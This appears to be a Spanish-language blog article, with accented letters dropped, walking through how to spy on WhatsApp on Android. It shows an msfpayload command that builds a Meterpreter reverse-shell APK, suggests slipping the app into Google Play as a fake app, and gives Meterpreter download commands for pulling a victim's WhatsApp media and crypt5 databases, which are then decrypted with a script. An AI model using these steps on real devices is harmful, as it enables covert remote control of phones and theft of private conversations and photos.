Está en la página 1de 6

Sabemos que existen muchos mtodos para espiar WhatsApp, aunque semanas atrs sali a la luz

el mtodo con el que WhatsApp para Android cifra y descifra las bases de datos de la aplicacin.
Conseguir estas bases de datos en Android es sencillo, ya que se almacenan en la SDCard del
dispositivo, pero tambin pueden sacarse de un dispositivo iPhone si se tiene acceso local o al
backup, aunque el proceso podra complicarse un poco, en funcin de si hay jailbreak o no, si hay
SSH por defecto, y del tipo de dispositivo que sea y la versin del sistema iOS. Siempre podramos
intentar encontrar una va realizando un hacking a dispositivos iPhone completo.

Alejandro Ramos (@aramosf) liber un script en Python dnde teniendo la base de datos cifrada
y el usuario de Gmail utilizado en el dispositivo Android se puede obtener las conversaciones
descifradas y listas para su lectura. Adems, el servicioRecover Messages ya dispone de esta
funcionalidad para la recuperacin de mensajes recuperados de una base de datos cifrada.

Figura 1: Script de descifrado de bases de datos Crypt5 de WhatsApp

Cmo funciona el cifrado y el descifrado? El algoritmo para cifrar es aes-cbc-192, la informacin


de la base de datos es cifrada utilizando una clave y el nombre de la cuenta de correo
electrnico del dispositivo. El modo cbc, cipher block chaining, aplica a cada bloque de texto
plano un XOR con el bloque anteriormente cifrado, para su posterior cifrado. De este modo cada
bloque de texto cifrado va a depender de todo lo que est en plano procesado hasta el momento.
El vector de inicializacin hace que cada mensaje sea nico.

PoC: El llamado Wonderland

En algunos mbitos Meterpreter, una famosa shellcode utilizada por muchospentesters en el


maravilloso framework de explotacin Metasploit, es conocido comoWonderland, ya que
proporciona al usuario todas las caractersticas en la toma de control de un dispositivo remoto, y
lo que haremos ser jugar con l y ver qu cosas, entre otras muchas, podemos hacer. Algunas de
las cosas interesantes que podemos hacer con esta shellcode en un dispositivo mvil es robar la
base de datos de WhatsApp, y despus descifrarla.

Lo primero es conseguir ejecutar Meterpreter en un dispositivo Android. Esto puede ser tarea no
sencilla, pero con un poco de imaginacin se nos pueden ocurrir muchas vas. Por qu no entrar
por la puerta principal? S, podemos intentar entrar porGoogle Play, En serio?

En esta vida todo es probar, y como ya ha explicado Sergio de los Santos hay un ecosistema
de Malware y Fake Apps en Google Play lo suficientemente grande como para que se note mucho
que hemos metido un Meterpreter. Adems, hemos visto que hay peleas por hacer fakes app de
WhatsApp, que hay quin se ha dado de alta como Apple Inc, los que se dedican a hacer estafas
de SMS Premium como la de la Linterna Molona y cibercriminales que roban el WhatsApp
directamente con supuestos juegos. Manos a la obra!

Figura 2: Fakes App de un supuesto Apple Inc en Google Play

La primera va sera utilizar la herramienta msfpayload para generar un APKinstalable en los


dispositivos Android, pero este APK no podr ser subido a Google Play por diversos motivos,
entre ellos que no est firmado por el desarrollador. Para la toma de contacto es totalmente
vlido, por lo que os dejo aqu como hacer unAPK para Android que ejecute
una Meterpreter inversa:

msfpayload android/meterpreter/reverse_tcp LHOST=[direccin IP a la que se conecta la


shellcode] LPORT=[puerto a la que se conecta] R > nombre_fichero.apk

Figura 2: Creando una APK con un Meterpreter

La otra va sera desarrollar una APK que pida rdenes, por ejemplo, mediante unXML y que al
recibir una instruccin maliciosa en ese XML se conecte a un servidor dnde le esperaremos para
otorgarle un JAR, dnde empaquetado se encuentre lashellcode de Meterpreter. Este JAR se
puede ejecutar dentro del provider de laapp que la vctima descarga del Google Play. En serio?
Sigamos adelante

Ahora una vez que tenemos de alguna de las dos formas preparadas la APKmaliciosa, preparamos
el servidor que recibir la conexin y que debe devolver elJAR con la shellcode. Para ello
utilizamos la herramienta del framework deMetasploit denominada msfconsole, tal y como se
puede ver en la imagen.

Figura 4: Usando msfconsole de Metasploit desde un Kali Linux

Tras ejecutar la instruccin exploit en este mdulo el servicio queda habilitado por lo que al
recibir una conexin externa le devolveremos el JAR que completar la segunda stage de la
ejecucin de la shell Meterpreter.

En la siguiente imagen podis visualizar como el servicio queda a la espera, y cuando recibe la
conexin se enva el fichero y despus se toma el control del dispositivo mvil. Recordad que lo
interesante es que la APK sea distribuida a travs de unmarket, y si es oficial el desastre sera
mayor.

Figura 5: Stage 2. Se devuelve el JAR con la shell Meterpreter

Ahora podemos realizar diversas acciones con esta shellcode Meterpreter dentro del dispositivo.
Sin ser root se puede, siempre y cuando la APK que ha conseguido colar la shellcode tenga
permisos para ello, realizar fotografas y obtenerlas en remoto, capturar sonido con el micrfono,
incluso abrir un streaming entre el dispositivo y el atacante para ver en tiempo, casi, real lo que
est sucediendo.

Si abrimos una shell del sistema y navegamos por la estructura de carpetas, solo accederemos a
sitios dnde la app pueda, ya que no somos root. La SDCard es uno de los puntos donde podemos
aprovecharnos de no ser root y encontrar informacin muy interesante.

Figura 6: Ejecutando comandos en el sistema

Al ejecutar un ls podemos encontrar la carpeta de WhatsApp y todo lo que hay dentro de


la SDCard, es como un pequeo gran bazar chino dnde podemos coger lo que queramos a un
coste cero. Al meternos dentro de la carpeta de WhatsApp, ahora mismo estamos en la
ruta /sdcard/WhatsApp podemos encontrar los siguientes
elementos: backups, databases, media y profile pictures.

Todas las imgenes, vdeos y audios que la vctima haya intercambiado, enviados por l o
recibidos, estn accesibles y sin cifrar, por lo que ya nuestra shellcode podra descargarlo a
nuestro equipo.

Figura 7: El contenido transmitido por WhatsApp

En la imagen se ve /storage/sdcard0/ por el tema de los enlaces, pero en este ejemplo nos da
igual referirnos como /sdcard. Dicho esto, Cmo descargamos una imagen
directamente? Meterpreter proporciona un comando para realizar descargas de archivos, este
comando es download, y su sintaxis es download [origen] [destino].

En la siguiente imagen se puede visualizar un ejemplo de cmo llevar a cabo esta instruccin y
poder obtener todas las imgenes, vdeos y audios que se encuentran en la SDCard.
Figura 8: Descargando las imgenes enviadas por WhatsApp
Para llevar a cabo la operativa con las bases de datos con los mensajes de WhatsAppes
exactamente igual, solo que la instruccin en este caso sera download
/sdcard/WhatsApp/Databases/[nombre base de datos][destino mquina local].

Figura 9: Las bases de datos de WhatsApp en Android cifradas con crypt5

Ahora nos queda, una vez que hemos descargado la base de datos, utilizar el scriptque
comentbamos al principio para descifrar la base de datos crypt5. El script lo debemos ejecutar
como viene en la imagen, y solo necesitamos la cuenta de correo que est dada de alta en el
dispositivo.

Figura 10: Descifrando la base de datos crypt5 de WhatsApp


Ahora que tenemos la base de datos descifrada podemos utilizar aplicaciones que abran
formatos SQLite3, por ejemplo el add-on de Mozilla Firefox denominadoSQLite Manager si
queremos hacerlo rpido. La segunda columna nos da el telfono con el que se interacto en el
mensaje, y en la columna de data va el mensaje que se envi. Hay ms columnas interesantes, ya
que no todo son mensajes de texto, en otras se especifican si se envi datos como imgenes, y el
recurso en el que se encuentra, audios, vdeos, etctera.

Figura 11: La base de datos SQLite de WhatsApp vista en SQLite Manager

Adems, una vez que tienes los mensajes, el siguiente paso sera recuperar los mensajes que
hayan sido eliminados del WhatsApp. Hay que tener en cuenta que no solo se recuperarn los
mensajes de texto sino que tambin podrn recuperarse las miniaturas de las imgenes
transmitidas, incluidas las de los vdeos y los mensajes de geo-localizacin, tal y como se explica
en el artculo de Recuperar mensajes de WhatsApp borrados.